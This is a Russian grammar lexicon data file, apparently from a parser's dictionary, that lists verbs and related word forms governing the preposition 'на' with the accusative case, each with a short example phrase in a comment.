rus_verbs:посылаться{}, // посылаться на разведку
rus_verbs:окрыситься{}, // окрыситься на кого-то
rus_verbs:отлить{}, // отлить на сковороду
rus_verbs:шикнуть{}, // шикнуть на детишек
rus_verbs:уповать{}, // уповать на бескорысную помощь
rus_verbs:класться{}, // класться на стол
rus_verbs:поковылять{}, // поковылять на выход
rus_verbs:навевать{}, // навевать на собравшихся скуку
rus_verbs:накладываться{}, // накладываться на грунтовку
rus_verbs:наноситься{}, // наноситься на чистую кожу
// rus_verbs:запланировать{}, // запланировать на среду
rus_verbs:кувыркнуться{}, // кувыркнуться на землю
rus_verbs:гавкнуть{}, // гавкнуть на хозяина
rus_verbs:перестроиться{}, // перестроиться на новый лад
rus_verbs:расходоваться{}, // расходоваться на образование
rus_verbs:дуться{}, // дуться на бабушку
rus_verbs:перетаскивать{}, // перетаскивать на рабочий стол
rus_verbs:издаться{}, // издаться на деньги спонсоров
rus_verbs:смещаться{}, // смещаться на несколько миллиметров
rus_verbs:зазывать{}, // зазывать на новогоднюю распродажу
rus_verbs:пикировать{}, // пикировать на окопы
rus_verbs:чертыхаться{}, // чертыхаться на мешающихся детей
rus_verbs:зудить{}, // зудить на ухо
rus_verbs:подразделяться{}, // подразделяться на группы
rus_verbs:изливаться{}, // изливаться на землю
rus_verbs:помочиться{}, // помочиться на траву
rus_verbs:примерять{}, // примерять на себя
rus_verbs:разрядиться{}, // разрядиться на землю
rus_verbs:мотнуться{}, // мотнуться на крышу
rus_verbs:налегать{}, // налегать на весла
rus_verbs:зацокать{}, // зацокать на куриц
rus_verbs:наниматься{}, // наниматься на корабль
rus_verbs:сплевывать{}, // сплевывать на землю
rus_verbs:настучать{}, // настучать на саботажника
rus_verbs:приземляться{}, // приземляться на брюхо
rus_verbs:наталкиваться{}, // наталкиваться на объективные трудности
rus_verbs:посигналить{}, // посигналить нарушителю, выехавшему на встречную полосу
rus_verbs:серчать{}, // серчать на нерасторопную помощницу
rus_verbs:сваливать{}, // сваливать на подоконник
rus_verbs:засобираться{}, // засобираться на работу
rus_verbs:распилить{}, // распилить на одинаковые бруски
//rus_verbs:умножать{}, // умножать на константу
rus_verbs:копировать{}, // копировать на диск
rus_verbs:накрутить{}, // накрутить на руку
rus_verbs:навалить{}, // навалить на телегу
rus_verbs:натолкнуть{}, // натолкнуть на свежую мысль
rus_verbs:шлепаться{}, // шлепаться на бетон
rus_verbs:ухлопать{}, // ухлопать на скупку произведений искусства
rus_verbs:замахиваться{}, // замахиваться на авторитетнейшее мнение
rus_verbs:посягнуть{}, // посягнуть на святое
rus_verbs:разменять{}, // разменять на мелочь
rus_verbs:откатываться{}, // откатываться на заранее подготовленные позиции
rus_verbs:усаживать{}, // усаживать на скамейку
rus_verbs:натаскать{}, // натаскать на поиск наркотиков
rus_verbs:зашикать{}, // зашикать на кошку
rus_verbs:разломать{}, // разломать на равные части
rus_verbs:приглашаться{}, // приглашаться на сцену
rus_verbs:присягать{}, // присягать на верность
rus_verbs:запрограммировать{}, // запрограммировать на постоянную уборку
rus_verbs:расщедриться{}, // расщедриться на новый компьютер
rus_verbs:насесть{}, // насесть на двоечников
rus_verbs:созывать{}, // созывать на собрание
rus_verbs:позариться{}, // позариться на чужое добро
rus_verbs:перекидываться{}, // перекидываться на соседние здания
rus_verbs:наползать{}, // наползать на неповрежденную ткань
rus_verbs:изрубить{}, // изрубить на мелкие кусочки
rus_verbs:наворачиваться{}, // наворачиваться на глаза
rus_verbs:раскричаться{}, // раскричаться на всю округу
rus_verbs:переползти{}, // переползти на светлую сторону
rus_verbs:уполномочить{}, // уполномочить на разведовательную операцию
rus_verbs:мочиться{}, // мочиться на трупы убитых врагов
rus_verbs:радировать{}, // радировать на базу
rus_verbs:промотать{}, // промотать на начало
rus_verbs:заснять{}, // заснять на видео
rus_verbs:подбивать{}, // подбивать на матч-реванш
rus_verbs:наплевать{}, // наплевать на справедливость
rus_verbs:подвывать{}, // подвывать на луну
rus_verbs:расплескать{}, // расплескать на пол
rus_verbs:польститься{}, // польститься на бесплатный сыр
rus_verbs:помчать{}, // помчать на работу
rus_verbs:съезжать{}, // съезжать на обочину
rus_verbs:нашептать{}, // нашептать кому-то на ухо
rus_verbs:наклеить{}, // наклеить на доску объявлений
rus_verbs:завозить{}, // завозить на склад
rus_verbs:заявляться{}, // заявляться на любимую работу
rus_verbs:наглядеться{}, // наглядеться на воробьев
rus_verbs:хлопнуться{}, // хлопнуться на живот
rus_verbs:забредать{}, // забредать на поляну
rus_verbs:посягать{}, // посягать на исконные права собственности
rus_verbs:сдвигать{}, // сдвигать на одну позицию
rus_verbs:спрыгивать{}, // спрыгивать на землю
rus_verbs:сдвигаться{}, // сдвигаться на две позиции
rus_verbs:разделать{}, // разделать на орехи
rus_verbs:разлагать{}, // разлагать на элементарные элементы
rus_verbs:обрушивать{}, // обрушивать на головы врагов
rus_verbs:натечь{}, // натечь на пол
rus_verbs:политься{}, // вода польется на землю
rus_verbs:успеть{}, // Они успеют на поезд.
инфинитив:мигрировать{ вид:несоверш }, глагол:мигрировать{ вид:несоверш },
деепричастие:мигрируя{},
инфинитив:мигрировать{ вид:соверш }, глагол:мигрировать{ вид:соверш },
деепричастие:мигрировав{},
rus_verbs:двинуться{}, // Мы скоро двинемся на дачу.
rus_verbs:подойти{}, // Он не подойдёт на должность секретаря.
rus_verbs:потянуть{}, // Он не потянет на директора.
rus_verbs:тянуть{}, // Он не тянет на директора.
rus_verbs:перескакивать{}, // перескакивать с одного примера на другой
rus_verbs:жаловаться{}, // Он жалуется на нездоровье.
rus_verbs:издать{}, // издать на деньги спонсоров
rus_verbs:показаться{}, // показаться на глаза
rus_verbs:высаживать{}, // высаживать на необитаемый остров
rus_verbs:вознестись{}, // вознестись на самую вершину славы
rus_verbs:залить{}, // залить на youtube
rus_verbs:закачать{}, // закачать на youtube
rus_verbs:сыграть{}, // сыграть на деньги
rus_verbs:экстраполировать{}, // Формулу можно экстраполировать на случай нескольких переменных
инфинитив:экстраполироваться{ вид:несоверш}, // Ситуация легко экстраполируется на случай нескольких переменных
глагол:экстраполироваться{ вид:несоверш},
инфинитив:экстраполироваться{ вид:соверш},
глагол:экстраполироваться{ вид:соверш},
деепричастие:экстраполируясь{},
инфинитив:акцентировать{вид:соверш}, // оратор акцентировал внимание слушателей на новый аспект проблемы
глагол:акцентировать{вид:соверш},
инфинитив:акцентировать{вид:несоверш},
глагол:акцентировать{вид:несоверш},
прилагательное:акцентировавший{вид:несоверш},
//прилагательное:акцентировавший{вид:соверш},
прилагательное:акцентирующий{},
деепричастие:акцентировав{},
деепричастие:акцентируя{},
rus_verbs:бабахаться{}, // он бабахался на пол
rus_verbs:бабахнуться{}, // мальчил бабахнулся на асфальт
rus_verbs:батрачить{}, // Крестьяне батрачили на хозяина
rus_verbs:бахаться{}, // Наездники бахались на землю
rus_verbs:бахнуться{}, // Наездник опять бахнулся на землю
rus_verbs:благословить{}, // батюшка благословил отрока на подвиг
rus_verbs:благословлять{}, // батюшка благословляет отрока на подвиг
rus_verbs:блевануть{}, // Он блеванул на землю
rus_verbs:блевать{}, // Он блюет на землю
rus_verbs:бухнуться{}, // Наездник бухнулся на землю
rus_verbs:валить{}, // Ветер валил деревья на землю
rus_verbs:спилить{}, // Спиленное дерево валится на землю
rus_verbs:ввезти{}, // Предприятие ввезло товар на таможню
rus_verbs:вдохновить{}, // Фильм вдохновил мальчика на поход в лес
rus_verbs:вдохновиться{}, // Мальчик вдохновился на поход
rus_verbs:вдохновлять{}, // Фильм вдохновляет на поход в лес
rus_verbs:вестись{}, // Не ведись на эти уловки!
rus_verbs:вешать{}, // Гости вешают одежду на вешалку
rus_verbs:вешаться{}, // Одежда вешается на вешалки
rus_verbs:вещать{}, // радиостанция вещает на всю страну
rus_verbs:взбираться{}, // Туристы взбираются на заросший лесом холм
rus_verbs:взбредать{}, // Что иногда взбредает на ум
rus_verbs:взбрести{}, // Что-то взбрело на ум
rus_verbs:взвалить{}, // Мама взвалила на свои плечи всё домашнее хозяйство
rus_verbs:взваливаться{}, // Все домашнее хозяйство взваливается на мамины плечи
rus_verbs:взваливать{}, // Не надо взваливать всё на мои плечи
rus_verbs:взглянуть{}, // Кошка взглянула на мышку
rus_verbs:взгромождать{}, // Мальчик взгромождает стул на стол
rus_verbs:взгромождаться{}, // Мальчик взгромождается на стол
rus_verbs:взгромоздить{}, // Мальчик взгромоздил стул на стол
rus_verbs:взгромоздиться{}, // Мальчик взгромоздился на стул
rus_verbs:взирать{}, // Очевидцы взирали на непонятный объект
rus_verbs:взлетать{}, // Фабрика фейерверков взлетает на воздух
rus_verbs:взлететь{}, // Фабрика фейерверков взлетела на воздух
rus_verbs:взобраться{}, // Туристы взобрались на гору
rus_verbs:взойти{}, // Туристы взошли на гору
rus_verbs:взъесться{}, // Отец взъелся на непутевого сына
rus_verbs:взъяриться{}, // Отец взъярился на непутевого сына
rus_verbs:вкатить{}, // рабочие вкатили бочку на пандус
rus_verbs:вкатывать{}, // рабочик вкатывают бочку на пандус
rus_verbs:влиять{}, // Это решение влияет на всех игроков рынка
rus_verbs:водворить{}, // водворить нарушителя на место
rus_verbs:водвориться{}, // водвориться на свое место
rus_verbs:водворять{}, // водворять вещь на свое место
rus_verbs:водворяться{}, // водворяться на свое место
rus_verbs:водружать{}, // водружать флаг на флагшток
rus_verbs:водружаться{}, // Флаг водружается на флагшток
rus_verbs:водрузить{}, // водрузить флаг на флагшток
rus_verbs:водрузиться{}, // Флаг водрузился на вершину горы
rus_verbs:воздействовать{}, // Излучение воздействует на кожу
rus_verbs:воззреть{}, // воззреть на поле боя
rus_verbs:воззриться{}, // воззриться на поле боя
rus_verbs:возить{}, // возить туристов на гору
rus_verbs:возлагать{}, // Многочисленные посетители возлагают цветы на могилу
rus_verbs:возлагаться{}, // Ответственность возлагается на начальство
rus_verbs:возлечь{}, // возлечь на лежанку
rus_verbs:возложить{}, // возложить цветы на могилу поэта
rus_verbs:вознести{}, // вознести кого-то на вершину славы
rus_verbs:возноситься{}, // возносится на вершину успеха
rus_verbs:возносить{}, // возносить счастливчика на вершину успеха
rus_verbs:подниматься{}, // Мы поднимаемся на восьмой этаж
rus_verbs:подняться{}, // Мы поднялись на восьмой этаж
rus_verbs:вонять{}, // Кусок сыра воняет на всю округу
rus_verbs:воодушевлять{}, // Идеалы воодушевляют на подвиги
rus_verbs:воодушевляться{}, // Люди воодушевляются на подвиги
rus_verbs:ворчать{}, // Старый пес ворчит на прохожих
rus_verbs:воспринимать{}, // воспринимать сообщение на слух
rus_verbs:восприниматься{}, // сообщение плохо воспринимается на слух
rus_verbs:воспринять{}, // воспринять сообщение на слух
rus_verbs:восприняться{}, // восприняться на слух
rus_verbs:воссесть{}, // Коля воссел на трон
rus_verbs:вправить{}, // вправить мозг на место
rus_verbs:вправлять{}, // вправлять мозги на место
rus_verbs:временить{}, // временить с выходом на пенсию
rus_verbs:врубать{}, // врубать на полную мощность
rus_verbs:врубить{}, // врубить на полную мощность
rus_verbs:врубиться{}, // врубиться на полную мощность
rus_verbs:врываться{}, // врываться на собрание
rus_verbs:вскарабкаться{}, // вскарабкаться на утёс
rus_verbs:вскарабкиваться{}, // вскарабкиваться на утёс
rus_verbs:вскочить{}, // вскочить на ноги
rus_verbs:всплывать{}, // всплывать на поверхность воды
rus_verbs:всплыть{}, // всплыть на поверхность воды
rus_verbs:вспрыгивать{}, // вспрыгивать на платформу
rus_verbs:вспрыгнуть{}, // вспрыгнуть на платформу
rus_verbs:встать{}, // встать на защиту чести и достоинства
rus_verbs:вторгаться{}, // вторгаться на чужую территорию
rus_verbs:вторгнуться{}, // вторгнуться на чужую территорию
rus_verbs:въезжать{}, // въезжать на пандус
rus_verbs:наябедничать{}, // наябедничать на соседа по парте
rus_verbs:выблевать{}, // выблевать завтрак на пол
rus_verbs:выблеваться{}, // выблеваться на пол
rus_verbs:выблевывать{}, // выблевывать завтрак на пол
rus_verbs:выблевываться{}, // выблевываться на пол
rus_verbs:вывезти{}, // вывезти мусор на свалку
rus_verbs:вывесить{}, // вывесить белье на просушку
rus_verbs:вывести{}, // вывести собаку на прогулку
rus_verbs:вывешивать{}, // вывешивать белье на веревку
rus_verbs:вывозить{}, // вывозить детей на природу
rus_verbs:вызывать{}, // Начальник вызывает на ковер
rus_verbs:выйти{}, // выйти на свободу
rus_verbs:выкладывать{}, // выкладывать на всеобщее обозрение
rus_verbs:выкладываться{}, // выкладываться на всеобщее обозрение
rus_verbs:выливать{}, // выливать на землю
rus_verbs:выливаться{}, // выливаться на землю
rus_verbs:вылить{}, // вылить жидкость на землю
rus_verbs:вылиться{}, // Топливо вылилось на землю
rus_verbs:выложить{}, // выложить на берег
rus_verbs:выменивать{}, // выменивать золото на хлеб
rus_verbs:вымениваться{}, // Золото выменивается на хлеб
rus_verbs:выменять{}, // выменять золото на хлеб
rus_verbs:выпадать{}, // снег выпадает на землю
rus_verbs:выплевывать{}, // выплевывать на землю
rus_verbs:выплевываться{}, // выплевываться на землю
rus_verbs:выплескать{}, // выплескать на землю
rus_verbs:выплескаться{}, // выплескаться на землю
rus_verbs:выплескивать{}, // выплескивать на землю
rus_verbs:выплескиваться{}, // выплескиваться на землю
rus_verbs:выплывать{}, // выплывать на поверхность
rus_verbs:выплыть{}, // выплыть на поверхность
rus_verbs:выплюнуть{}, // выплюнуть на пол
rus_verbs:выползать{}, // выползать на свежий воздух
rus_verbs:выпроситься{}, // выпроситься на улицу
rus_verbs:выпрыгивать{}, // выпрыгивать на свободу
rus_verbs:выпрыгнуть{}, // выпрыгнуть на перрон
rus_verbs:выпускать{}, // выпускать на свободу
rus_verbs:выпустить{}, // выпустить на свободу
rus_verbs:выпучивать{}, // выпучивать на кого-то глаза
rus_verbs:выпучиваться{}, // глаза выпучиваются на кого-то
rus_verbs:выпучить{}, // выпучить глаза на кого-то
rus_verbs:выпучиться{}, // выпучиться на кого-то
rus_verbs:выронить{}, // выронить на землю
rus_verbs:высадить{}, // высадить на берег
rus_verbs:высадиться{}, // высадиться на берег
rus_verbs:высаживаться{}, // высаживаться на остров
rus_verbs:выскальзывать{}, // выскальзывать на землю
rus_verbs:выскочить{}, // выскочить на сцену
rus_verbs:высморкаться{}, // высморкаться на землю
rus_verbs:высморкнуться{}, // высморкнуться на землю
rus_verbs:выставить{}, // выставить на всеобщее обозрение
rus_verbs:выставиться{}, // выставиться на всеобщее обозрение
rus_verbs:выставлять{}, // выставлять на всеобщее обозрение
rus_verbs:выставляться{}, // выставляться на всеобщее обозрение
инфинитив:высыпать{вид:соверш}, // высыпать на землю
инфинитив:высыпать{вид:несоверш},
глагол:высыпать{вид:соверш},
глагол:высыпать{вид:несоверш},
деепричастие:высыпав{},
деепричастие:высыпая{},
прилагательное:высыпавший{вид:соверш},
//++прилагательное:высыпавший{вид:несоверш},
прилагательное:высыпающий{вид:несоверш},
rus_verbs:высыпаться{}, // высыпаться на землю
rus_verbs:вытаращивать{}, // вытаращивать глаза на медведя
rus_verbs:вытаращиваться{}, // вытаращиваться на медведя
rus_verbs:вытаращить{}, // вытаращить глаза на медведя
rus_verbs:вытаращиться{}, // вытаращиться на медведя
rus_verbs:вытекать{}, // вытекать на землю
rus_verbs:вытечь{}, // вытечь на землю
rus_verbs:выучиваться{}, // выучиваться на кого-то
rus_verbs:выучиться{}, // выучиться на кого-то
rus_verbs:посмотреть{}, // посмотреть на экран
rus_verbs:нашить{}, // нашить что-то на одежду
rus_verbs:придти{}, // придти на помощь кому-то
инфинитив:прийти{}, // прийти на помощь кому-то
глагол:прийти{},
деепричастие:придя{}, // Придя на вокзал, он поспешно взял билеты.
rus_verbs:поднять{}, // поднять на вершину
rus_verbs:согласиться{}, // согласиться на ничью
rus_verbs:послать{}, // послать на фронт
rus_verbs:слать{}, // слать на фронт
rus_verbs:надеяться{}, // надеяться на лучшее
rus_verbs:крикнуть{}, // крикнуть на шалунов
rus_verbs:пройти{}, // пройти на пляж
rus_verbs:прислать{}, // прислать на экспертизу
rus_verbs:жить{}, // жить на подачки
rus_verbs:становиться{}, // становиться на ноги
rus_verbs:наслать{}, // наслать на кого-то
rus_verbs:принять{}, // принять на заметку
rus_verbs:собираться{}, // собираться на экзамен
rus_verbs:оставить{}, // оставить на всякий случай
rus_verbs:звать{}, // звать на помощь
rus_verbs:направиться{}, // направиться на прогулку
rus_verbs:отвечать{}, // отвечать на звонки
rus_verbs:отправиться{}, // отправиться на прогулку
rus_verbs:поставить{}, // поставить на пол
rus_verbs:обернуться{}, // обернуться на зов
rus_verbs:отозваться{}, // отозваться на просьбу
rus_verbs:закричать{}, // закричать на собаку
rus_verbs:опустить{}, // опустить на землю
rus_verbs:принести{}, // принести на пляж свой жезлонг
rus_verbs:указать{}, // указать на дверь
rus_verbs:ходить{}, // ходить на занятия
rus_verbs:уставиться{}, // уставиться на листок
rus_verbs:приходить{}, // приходить на экзамен
rus_verbs:махнуть{}, // махнуть на пляж
rus_verbs:явиться{}, // явиться на допрос
rus_verbs:оглянуться{}, // оглянуться на дорогу
rus_verbs:уехать{}, // уехать на заработки
rus_verbs:повести{}, // повести на штурм
rus_verbs:опуститься{}, // опуститься на колени
//rus_verbs:передать{}, // передать на проверку
rus_verbs:побежать{}, // побежать на занятия
rus_verbs:прибыть{}, // прибыть на место службы
rus_verbs:кричать{}, // кричать на медведя
rus_verbs:стечь{}, // стечь на землю
rus_verbs:обратить{}, // обратить на себя внимание
rus_verbs:подать{}, // подать на пропитание
rus_verbs:привести{}, // привести на съемки
rus_verbs:испытывать{}, // испытывать на животных
rus_verbs:перевести{}, // перевести на жену
rus_verbs:купить{}, // купить на заемные деньги
rus_verbs:собраться{}, // собраться на встречу
rus_verbs:заглянуть{}, // заглянуть на огонёк
rus_verbs:нажать{}, // нажать на рычаг
rus_verbs:поспешить{}, // поспешить на праздник
rus_verbs:перейти{}, // перейти на русский язык
rus_verbs:поверить{}, // поверить на честное слово
rus_verbs:глянуть{}, // глянуть на обложку
rus_verbs:зайти{}, // зайти на огонёк
rus_verbs:проходить{}, // проходить на сцену
rus_verbs:глядеть{}, // глядеть на актрису
//rus_verbs:решиться{}, // решиться на прыжок
rus_verbs:пригласить{}, // пригласить на танец
rus_verbs:позвать{}, // позвать на экзамен
rus_verbs:усесться{}, // усесться на стул
rus_verbs:поступить{}, // поступить на математический факультет
rus_verbs:лечь{}, // лечь на живот
rus_verbs:потянуться{}, // потянуться на юг
rus_verbs:присесть{}, // присесть на корточки
rus_verbs:наступить{}, // наступить на змею
rus_verbs:заорать{}, // заорать на попрошаек
rus_verbs:надеть{}, // надеть на голову
rus_verbs:поглядеть{}, // поглядеть на девчонок
rus_verbs:принимать{}, // принимать на гарантийное обслуживание
rus_verbs:привезти{}, // привезти на испытания
rus_verbs:рухнуть{}, // рухнуть на асфальт
rus_verbs:пускать{}, // пускать на корм
rus_verbs:отвести{}, // отвести на приём
rus_verbs:отправить{}, // отправить на утилизацию
rus_verbs:двигаться{}, // двигаться на восток
rus_verbs:нести{}, // нести на пляж
rus_verbs:падать{}, // падать на руки
rus_verbs:откинуться{}, // откинуться на спинку кресла
rus_verbs:рявкнуть{}, // рявкнуть на детей
rus_verbs:получать{}, // получать на проживание
rus_verbs:полезть{}, // полезть на рожон
rus_verbs:направить{}, // направить на дообследование
rus_verbs:приводить{}, // приводить на проверку
rus_verbs:потребоваться{}, // потребоваться на замену
rus_verbs:кинуться{}, // кинуться на нападавшего
rus_verbs:учиться{}, // учиться на токаря
rus_verbs:приподнять{}, // приподнять на один метр
rus_verbs:налить{}, // налить на стол
rus_verbs:играть{}, // играть на деньги
rus_verbs:рассчитывать{}, // рассчитывать на подмогу
rus_verbs:шепнуть{}, // шепнуть на ухо
rus_verbs:швырнуть{}, // швырнуть на землю
rus_verbs:прыгнуть{}, // прыгнуть на оленя
rus_verbs:предлагать{}, // предлагать на выбор
rus_verbs:садиться{}, // садиться на стул
rus_verbs:лить{}, // лить на землю
rus_verbs:испытать{}, // испытать на животных
rus_verbs:фыркнуть{}, // фыркнуть на детеныша
rus_verbs:годиться{}, // мясо годится на фарш
rus_verbs:проверить{}, // проверить высказывание на истинность
rus_verbs:откликнуться{}, // откликнуться на призывы
rus_verbs:полагаться{}, // полагаться на интуицию
rus_verbs:покоситься{}, // покоситься на соседа
rus_verbs:повесить{}, // повесить на гвоздь
инфинитив:походить{вид:соверш}, // походить на занятия
глагол:походить{вид:соверш},
деепричастие:походив{},
прилагательное:походивший{},
rus_verbs:помчаться{}, // помчаться на экзамен
rus_verbs:ставить{}, // ставить на контроль
rus_verbs:свалиться{}, // свалиться на землю
rus_verbs:валиться{}, // валиться на землю
rus_verbs:подарить{}, // подарить на день рожденья
rus_verbs:сбежать{}, // сбежать на необитаемый остров
rus_verbs:стрелять{}, // стрелять на поражение
rus_verbs:обращать{}, // обращать на себя внимание
rus_verbs:наступать{}, // наступать на те же грабли
rus_verbs:сбросить{}, // сбросить на землю
rus_verbs:обидеться{}, // обидеться на друга
rus_verbs:устроиться{}, // устроиться на стажировку
rus_verbs:погрузиться{}, // погрузиться на большую глубину
rus_verbs:течь{}, // течь на землю
rus_verbs:отбросить{}, // отбросить на землю
rus_verbs:метать{}, // метать на дно
rus_verbs:пустить{}, // пустить на переплавку
rus_verbs:прожить{}, // прожить на пособие
rus_verbs:полететь{}, // полететь на континент
rus_verbs:пропустить{}, // пропустить на сцену
rus_verbs:указывать{}, // указывать на ошибку
rus_verbs:наткнуться{}, // наткнуться на клад
rus_verbs:рвануть{}, // рвануть на юг
rus_verbs:ступать{}, // ступать на землю
rus_verbs:спрыгнуть{}, // спрыгнуть на берег
rus_verbs:заходить{}, // заходить на огонёк
rus_verbs:нырнуть{}, // нырнуть на глубину
rus_verbs:рвануться{}, // рвануться на свободу
rus_verbs:натянуть{}, // натянуть на голову
rus_verbs:забраться{}, // забраться на стол
rus_verbs:помахать{}, // помахать на прощание
rus_verbs:содержать{}, // содержать на спонсорскую помощь
rus_verbs:приезжать{}, // приезжать на праздники
rus_verbs:проникнуть{}, // проникнуть на территорию
rus_verbs:подъехать{}, // подъехать на митинг
rus_verbs:устремиться{}, // устремиться на волю
rus_verbs:посадить{}, // посадить на стул
rus_verbs:ринуться{}, // ринуться на голкипера
rus_verbs:подвигнуть{}, // подвигнуть на подвиг
rus_verbs:отдавать{}, // отдавать на перевоспитание
rus_verbs:отложить{}, // отложить на черный день
rus_verbs:убежать{}, // убежать на танцы
rus_verbs:поднимать{}, // поднимать на верхний этаж
rus_verbs:переходить{}, // переходить на цифровой сигнал
rus_verbs:отослать{}, // отослать на переаттестацию
rus_verbs:отодвинуть{}, // отодвинуть на другую половину стола
rus_verbs:назначить{}, // назначить на должность
rus_verbs:осесть{}, // осесть на дно
rus_verbs:торопиться{}, // торопиться на экзамен
rus_verbs:менять{}, // менять на еду
rus_verbs:доставить{}, // доставить на шестой этаж
rus_verbs:заслать{}, // заслать на проверку
rus_verbs:дуть{}, // дуть на воду
rus_verbs:сослать{}, // сослать на каторгу
rus_verbs:останавливаться{}, // останавливаться на отдых
rus_verbs:сдаваться{}, // сдаваться на милость победителя
rus_verbs:сослаться{}, // сослаться на презумпцию невиновности
rus_verbs:рассердиться{}, // рассердиться на дочь
rus_verbs:кинуть{}, // кинуть на землю
rus_verbs:расположиться{}, // расположиться на ночлег
rus_verbs:осмелиться{}, // осмелиться на подлог
rus_verbs:шептать{}, // шептать на ушко
rus_verbs:уронить{}, // уронить на землю
rus_verbs:откинуть{}, // откинуть на спинку кресла
rus_verbs:перенести{}, // перенести на рабочий стол
rus_verbs:сдаться{}, // сдаться на милость победителя
rus_verbs:светить{}, // светить на дорогу
rus_verbs:мчаться{}, // мчаться на бал
rus_verbs:нестись{}, // нестись на свидание
rus_verbs:поглядывать{}, // поглядывать на экран
rus_verbs:орать{}, // орать на детей
rus_verbs:уложить{}, // уложить на лопатки
rus_verbs:решаться{}, // решаться на поступок
rus_verbs:попадать{}, // попадать на карандаш
rus_verbs:сплюнуть{}, // сплюнуть на землю
rus_verbs:снимать{}, // снимать на телефон
rus_verbs:опоздать{}, // опоздать на работу
rus_verbs:посылать{}, // посылать на проверку
rus_verbs:погнать{}, // погнать на пастбище
rus_verbs:поступать{}, // поступать на кибернетический факультет
rus_verbs:спускаться{}, // спускаться на уровень моря
rus_verbs:усадить{}, // усадить на диван
rus_verbs:проиграть{}, // проиграть на спор
rus_verbs:прилететь{}, // прилететь на фестиваль
rus_verbs:повалиться{}, // повалиться на спину
rus_verbs:огрызнуться{}, // Собака огрызнулась на хозяина
rus_verbs:задавать{}, // задавать на выходные
rus_verbs:запасть{}, // запасть на девочку
rus_verbs:лезть{}, // лезть на забор
rus_verbs:потащить{}, // потащить на выборы
rus_verbs:направляться{}, // направляться на экзамен
rus_verbs:определять{}, // определять на вкус
rus_verbs:поползти{}, // поползти на стену
rus_verbs:поплыть{}, // поплыть на берег
rus_verbs:залезть{}, // залезть на яблоню
rus_verbs:сдать{}, // сдать на мясокомбинат
rus_verbs:приземлиться{}, // приземлиться на дорогу
rus_verbs:лаять{}, // лаять на прохожих
rus_verbs:перевернуть{}, // перевернуть на бок
rus_verbs:ловить{}, // ловить на живца
rus_verbs:отнести{}, // отнести животное на хирургический стол
rus_verbs:плюнуть{}, // плюнуть на условности
rus_verbs:передавать{}, // передавать на проверку
rus_verbs:нанять{}, // Босс нанял на работу еще несколько человек
rus_verbs:разозлиться{}, // Папа разозлился на сына из-за плохих оценок по математике
инфинитив:рассыпаться{вид:несоверш}, // рассыпаться на мелкие детали
инфинитив:рассыпаться{вид:соверш},
глагол:рассыпаться{вид:несоверш},
глагол:рассыпаться{вид:соверш},
деепричастие:рассыпавшись{},
деепричастие:рассыпаясь{},
прилагательное:рассыпавшийся{вид:несоверш},
прилагательное:рассыпавшийся{вид:соверш},
прилагательное:рассыпающийся{},
rus_verbs:зарычать{}, // Медведица зарычала на медвежонка
rus_verbs:призвать{}, // призвать на сборы
rus_verbs:увезти{}, // увезти на дачу
rus_verbs:содержаться{}, // содержаться на пожертвования
rus_verbs:навести{}, // навести на скопление телескоп
rus_verbs:отправляться{}, // отправляться на утилизацию
rus_verbs:улечься{}, // улечься на животик
rus_verbs:налететь{}, // налететь на препятствие
rus_verbs:перевернуться{}, // перевернуться на спину
rus_verbs:улететь{}, // улететь на родину
rus_verbs:ложиться{}, // ложиться на бок
rus_verbs:класть{}, // класть на место
rus_verbs:отреагировать{}, // отреагировать на выступление
rus_verbs:доставлять{}, // доставлять на дом
rus_verbs:отнять{}, // отнять на благо правящей верхушки
rus_verbs:ступить{}, // ступить на землю
rus_verbs:сводить{}, // сводить на концерт знаменитой рок-группы
rus_verbs:унести{}, // унести на работу
rus_verbs:сходить{}, // сходить на концерт
rus_verbs:потратить{}, // потратить на корм и наполнитель для туалета все деньги
rus_verbs:соскочить{}, // соскочить на землю
rus_verbs:пожаловаться{}, // пожаловаться на соседей
rus_verbs:тащить{}, // тащить на замену
rus_verbs:замахать{}, // замахать руками на паренька
rus_verbs:заглядывать{}, // заглядывать на обед
rus_verbs:соглашаться{}, // соглашаться на равный обмен
rus_verbs:плюхнуться{}, // плюхнуться на мягкий пуфик
rus_verbs:увести{}, // увести на осмотр
rus_verbs:успевать{}, // успевать на контрольную работу
rus_verbs:опрокинуть{}, // опрокинуть на себя
rus_verbs:подавать{}, // подавать на апелляцию
rus_verbs:прибежать{}, // прибежать на вокзал
rus_verbs:отшвырнуть{}, // отшвырнуть на замлю
rus_verbs:привлекать{}, // привлекать на свою сторону
rus_verbs:опереться{}, // опереться на палку
rus_verbs:перебраться{}, // перебраться на маленький островок
rus_verbs:уговорить{}, // уговорить на новые траты
rus_verbs:гулять{}, // гулять на спонсорские деньги
rus_verbs:переводить{}, // переводить на другой путь
rus_verbs:заколебаться{}, // заколебаться на один миг
rus_verbs:зашептать{}, // зашептать на ушко
rus_verbs:привстать{}, // привстать на цыпочки
rus_verbs:хлынуть{}, // хлынуть на берег
rus_verbs:наброситься{}, // наброситься на еду
rus_verbs:напасть{}, // повстанцы, напавшие на конвой
rus_verbs:убрать{}, // книга, убранная на полку
rus_verbs:попасть{}, // путешественники, попавшие на ничейную территорию
rus_verbs:засматриваться{}, // засматриваться на девчонок
rus_verbs:застегнуться{}, // застегнуться на все пуговицы
rus_verbs:провериться{}, // провериться на заболевания
rus_verbs:проверяться{}, // проверяться на заболевания
rus_verbs:тестировать{}, // тестировать на профпригодность
rus_verbs:протестировать{}, // протестировать на профпригодность
rus_verbs:уходить{}, // отец, уходящий на работу
rus_verbs:налипнуть{}, // снег, налипший на провода
rus_verbs:налипать{}, // снег, налипающий на провода
rus_verbs:улетать{}, // Многие птицы улетают осенью на юг.
rus_verbs:поехать{}, // она поехала на встречу с заказчиком
rus_verbs:переключать{}, // переключать на резервную линию
rus_verbs:переключаться{}, // переключаться на резервную линию
rus_verbs:подписаться{}, // подписаться на обновление
rus_verbs:нанести{}, // нанести на кожу
rus_verbs:нарываться{}, // нарываться на неприятности
rus_verbs:выводить{}, // выводить на орбиту
rus_verbs:вернуться{}, // вернуться на родину
rus_verbs:возвращаться{}, // возвращаться на родину
прилагательное:падкий{}, // Он падок на деньги.
прилагательное:обиженный{}, // Он обижен на отца.
rus_verbs:косить{}, // Он косит на оба глаза.
rus_verbs:закрыть{}, // Он забыл закрыть дверь на замок.
прилагательное:готовый{}, // Он готов на всякие жертвы.
rus_verbs:говорить{}, // Он говорит на скользкую тему.
прилагательное:глухой{}, // Он глух на одно ухо.
rus_verbs:взять{}, // Он взял ребёнка себе на колени.
rus_verbs:оказывать{}, // Лекарство не оказывало на него никакого действия.
rus_verbs:вести{}, // Лестница ведёт на третий этаж.
